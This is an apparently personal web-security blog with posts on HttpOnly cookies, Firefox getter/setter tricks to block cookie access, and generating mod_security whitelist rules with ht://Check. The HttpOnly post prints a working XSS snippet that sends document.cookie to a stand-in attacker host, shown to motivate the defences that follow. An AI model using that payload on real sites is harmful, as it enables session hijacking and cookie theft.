Security Thoughts
Wednesday, July 26, 2006, 18:08
HttpOnly and Firefox.
Xss vulnerabilities are often used to get cookies.
Once the attacker use xss to get cokies there are several techniques to apply such as
Session Hijacking .
A classical example to collect cookies by XSS is:
<script>
var img=new Image();
img.src="http://at.tack.er/cookiecollect.php?c="+document.cookie;
</script>
These two lines of js code, force browser to create an image and request for an image to the specified address.
If at.tack.er is controlled by a malicious user, *he will obtain victim's cookie without victim's authorization.
To understand how much this technique is dangerous, just think about sessions.
Some time ago Microsoft implemented, since IE 6 SP1, a new keyword to try to mitigte such problem.
HttpOnly.
How it works.
If our Web Server sends a cookie with HttpOnly attribute like the following:
Set-Cookie: Session:12345; expires=Wednesday, 09-Nov-99 23:12:40 GMT; HttpOnly
IE sees it and blocks cookie access from Javscript.
This way it's no more allowed to read the cookie from 'document.cookie' js statement.
Yes, there are ways to bypass HttpOnly. But it's really easy to block TRACE method by configuration settings so these attacks are easy to mitigate or stop at all.
Just a Little Warning: we are talking exclusively about stopping of cookies attack. Xss are far more dangerous.
Mozilla developers are stuck about this. They actually won't implement HttpOnly on Mozilla/Firefox..
Thanks to Ascii with whom some day ago we had some discussion about
blocking XSS, i went deeply into Javascript paradigms and matters.
Mozilla developers are really great, because they implemented w3c specification in a neat way.
They create a JS framework really simple and useful.
For our purpose, they implemented prototyping functions to allow web developers to define classes and object
easily and smartly (?).
Let's talk about __defineGetter__ and __defineSetter__ by applying them to cookies.
Definitions:
__defineGetter__ : It allows to define a function to be called (namely callback) every time the value of the variable is requested.
__defineSetter__ : It allows to define a function to be called (namely callback) every time a new value is assigned to the variable.
So:
HTMLDocument.prototype.__defineGetter__("cookie",function (){return null;});
will block every request to document.cookie from within js.
E.g. in php:
<?
session_start();
?>
<script>
HTMLDocument.prototype.__defineGetter__("cookie",function (){return "sorry";});
alert(document.cookie);
</script>
Will display an alert with "sorry" rather than our cookie original value, but internally, Mozilla/Firefox will mantain the original
cookie value internally.
And what about __defineSetter__?
It could be used to mitigate Session Fixation or other client side
cookie tampering techniques.
That is, if we don't want the cookie to be tampered from within javascript, we could use the following:
HTMLDocument.prototype.__defineSetter__("cookie",function (new){});
E.g. in php:
<?
session_start();
?>
<script>
HTMLDocument.prototype.__defineSetter__("cookie",function (new){});
document.cookie="hello"
alert(document.cookie);
</script>
This approach however, is useless as cookies could be assigned from html by using:
<meta http-equiv="Set-Cookie" content="value=n;path=/">
Anyway if we filter out "meta" tags on user input this technique could block or at least mitigate cookie tampering via html.
Getter and Setter could be used to block functions, too, for example think about XmlHttpRequest & co.
There is, of course, a little drawback, as every access to the blocked vars and functions are denied from javascript.
Unfortunately, __defineGetter__ and __defineSetter__ aren't implemented on all browsers (read MSIE).
ah...how i long for a _real_ standard js implementation on all browsers...:(
Sunday, November 20, 2005, 12:32
Application Firewalls and Black/Whitelisting approach
It's been a bunch of time that i'm thinking about what's the best approach for application firewalls:
"deny all, allow goodmembers" (whitelist approach)
"allow all, deny badmembers" (blacklist approach)
A very good application firewall is Mod_Security.
Blacklist approach has intrinsic drawbacks, infact there is often some potential way to bypass deny rules.
It would be better to integrate a whitelist approach with our deny rules.
How could we do this?
Let's suppose we have a webbot or a spider that analyzes our pages and extract URIs where variables are present
(i.e. href="/index.php?id=4").
In most cases these variables have numerical or alphanumerical values.
If our spider could infer value types from every variable associated with URIs, then we could generate
a whitelist of rules for our web firewall.
This whitelist togheter with blacklist rules anti Xss and anti SQL Injection should give us a more complete
web firewall.
Unfortunately i don't have time to develop my own webbot, so by googling on the web i found a very nice
software (GPL) developed by Comune di Prato (Tuscany, Italy) based on ht://Dig and used for accessibility check and
link check:
ht://Check.
ht://Check has a lot of features everyone could enjoy to read by himself, but there's
a very interesting one which could be used for our purposes and for Pentesting:
ht://Check stores all tags and attributes found in the analyze phase, in a single Database (MySQL).
I wont explain how to use ht://Check for Pentesting, but let's see how we can take advantage of ht://Check
to generate whitelisting rules for mod_Security.
Let's suppose we run htcheck on www.example.com.
- On configuration file htcheck.conf, set:
start_url: http://www.example.com/ (choose your own site! example.com doesn't exists ;)
- Launch htcheck:
$ htcheck -vsi
Wait for htcheck to finish....
htCheck will give us a resume....that's not interesting for our purpose...
What it is interesting is inside htcheck DB.
$ mysql -u user -p htcheck
mysql> show tables;
+-------------------+
| Tables_in_htcheck |
+-------------------+
| Accessibility |
| Cookies |
| HtmlAttribute |
| HtmlStatement |
| Link |
| Schedule |
| Server |
| Url |
| htCheck |
+-------------------+
...
'Url' table in particular.
By entering the following query:
select DISTINCT SUBSTRING_INDEX(url,'?',1),SUBSTRING(url,INSTR(url,'?')+1) from Url where url like'%?%'
MySQL will give us a two column output with URLs and query string respectively...
Well, now we have all informations to collect _all_ query stings inside our web site.
The next step is to develop a little sowftware to extract these informations and to translate them in
whitelist rules for mod_security.
Here is a little perl program developed for this task. Automatic Rules Generation for Mod_security - Rule-o-matic.
Launch it after htcheck, and you'll have your Ad Hoc Whitelist rules in output.
E.g:
Url Record:
----------------
|/docs.php|id=2|
----------------
will become:
<Location /docs.php>
SecFilterInheritance On
SecFilterSelective "ARG_id" "!^\d$"
</Location>
This rule means:
When someone asks for '/docs.php' page with a 'id' variable, his value can be only numeric.
This is for query string but we could think about implementig the same on hidden values in forms which are often fixed values or cookie values.
Ok. I know this is not exaustive but..."There's no taste like home-made pasta!"
Wednesday, February 23, 2005, 20:15
How to read a whole file in an c array in a "safe" way
Today i was googling looking for some "safe" piece of coding written to give
the possibility to read a file in a big array.
I found nothing...:( so here is my (realloc) solution.
If there are any errors feel free to comment it.
saferead.c
« 1 2 3 XML
Admin login | This weblog is from www.mylittlehomepage.net
Wisec is brought to you by...
Wisec is written and mantained by
Stefano Di Paola.
Wisec uses open standards, including XHTML, CSS2, and XML-RPC.
